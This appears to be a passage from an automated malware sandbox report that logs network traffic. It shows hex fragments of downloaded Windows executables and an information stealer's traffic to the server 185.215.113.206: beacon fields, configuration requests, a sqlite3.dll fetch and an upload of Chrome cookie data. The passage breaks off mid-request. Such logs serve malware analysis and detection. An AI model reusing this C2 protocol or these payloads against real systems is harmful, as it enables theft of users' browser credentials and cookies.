4b 00 00 22 00 00 00 5e 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Nov 2024 18:51:06 GMTContent-Type: application/octet-streamContent-Length: 2799616Last-Modified: Fri, 29 Nov 2024 18:37:00 GMTConnection: keep-aliveETag: "674a09cc-2ab800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 15 07 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 74 65 64 74 7a 6f 67 00 60 2a 00 00 a0 00 00 00 58 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 78 68 72 61 6a 70 79 00 20 00 00 00 00 2b 00 00 04 00 00 00 92 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 96 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Nov 2024 18:51:11 GMTContent-Type: application/octet-streamContent-Length: 4417024Last-Modified: Fri, 29 Nov 2024 18:14:08 GMTConnection: keep-aliveETag: "674a0470-436600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 f4 47 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 04 48 00 00 1c 76 00 00 32 00 00 00 20 c6 00 00 10 00 00 00 20 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 c6 00 00 04 00 00 77 d5 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 80 73 00 73 00 00 00 00 70 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 01 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 73 00 00 10 00 00 00 44 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 73 00 00 02 00 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 73 00 00 02 00 00 00 56 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 37 00 00 90 73 00 00 02 00 00 00 58 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 72 6d 66 7a 6b 69 63 00 f0 1a 00 00 20 ab 00 00 e6 1a 00 00 5a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6e 7a 71 61 75 69 74 00 10 00 00 00 10 c6 00 00 04 00 00 00 40 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 c6 00 00 22 00 00 00 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Nov 2024 18:51:44 GMTServer: Apache/2.4.52 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=86Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 02
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Nov 2024 18:51:45 GMTServer: Apache/2.4.52 (Ubuntu)Content-Disposition: attachment; filename="soft";Content-Length: 1502720Keep-Alive: timeout=5, max=85Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 2f 14 00 00 20 00 00 00 30 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f0 b9 02 00 00 60 14 00 00 ba 02 00 00 32 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 17 00 00 02 00 00 00 ec 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4f 14 00 00 00 00 00 48 00 00 00 02 00 05 00 68 7e 00 00 b8 44 00 00 01 00 00 00 55 00 00 06 20 c3 00 00 10 8c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 cb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 d9 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 eb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 1f 01 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 1a 7e 03 00 00 04 2a 1e 02 28 18 00 00 0a 2a 56 73 0e 00 00 06 28 19 00 00 0a 74 04 00 00 02 80 03 00 00 04 2a 4e 02 28 1a 00 00 0a 02 28 1e 00 00 06 02 28 11 00 00

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENhIsZk1icdmK4NNtUk6KLPgAMvy17Udgd1MlHE7GXRAxu9wDd84HaOk1nGIMKru6radFnZDfu7zWhcmz9j72MdI/lM5JykN5JyMCsrKKjhnWsxMrSmUTHFAm4lCtsR/4kXJ5OVGBubVm1qKlLaqfTPe4/QIS6EsPZhp2A+GbXPmd9v7KWe0y9ZBVkGnVgT2XAL69MHD65Z2sZ/bvdyK2Z9GRgl5dhajOwb9unLzQz2LihgZzhVMiIEIlP0Ox0qtNEB072yB6rGFSpbQMfXp3Qm9wrLMHPG0cNIMKQ3+lgA3sY/VTGnPGJVnsHSsfW8D9dyBIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1732906433560Host: self.events.data.microsoft.comContent-Length: 7973Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDBFBFHJDGCAKEGHJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 45 44 42 38 38 39 42 33 39 32 34 31 37 39 35 33 37 33 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="hwid"57EDB889B3924179537338------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="build"drum------EGIDBFBFHJDGCAKEGHJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDAAECAEBKJKFHJKECFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 41 41 45 43 41 45 42 4b 4a 4b 46 48 4a 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 41 41 45 43 41 45 42 4b 4a 4b 46 48 4a 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 41 41 45 43 41 45 42 4b 4a 4b 46 48 4a 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------EHDAAECAEBKJKFHJKECFContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------EHDAAECAEBKJKFHJKECFContent-Disposition: form-data; name="message"browsers------EHDAAECAEBKJKFHJKECF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJKJEHJJDAKECBFCGIDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 2d 2d 0d 0a Data Ascii: ------BKJKJEHJJDAKECBFCGIDContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------BKJKJEHJJDAKECBFCGIDContent-Disposition: form-data; name="message"plugins------BKJKJEHJJDAKECBFCGID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 2d 2d 0d 0a Data Ascii: ------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="message"fplugins------CAEHJEBKFCAKKFIEHDBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIJJKKFHIEHJKECGCGCHost: 185.215.113.206Content-Length: 6323Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKKFBAEGDHJJJJKFBKFHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 2d 2d 0d 0a Data Ascii: ------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FBKKFBAEGDHJJJJKFBKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 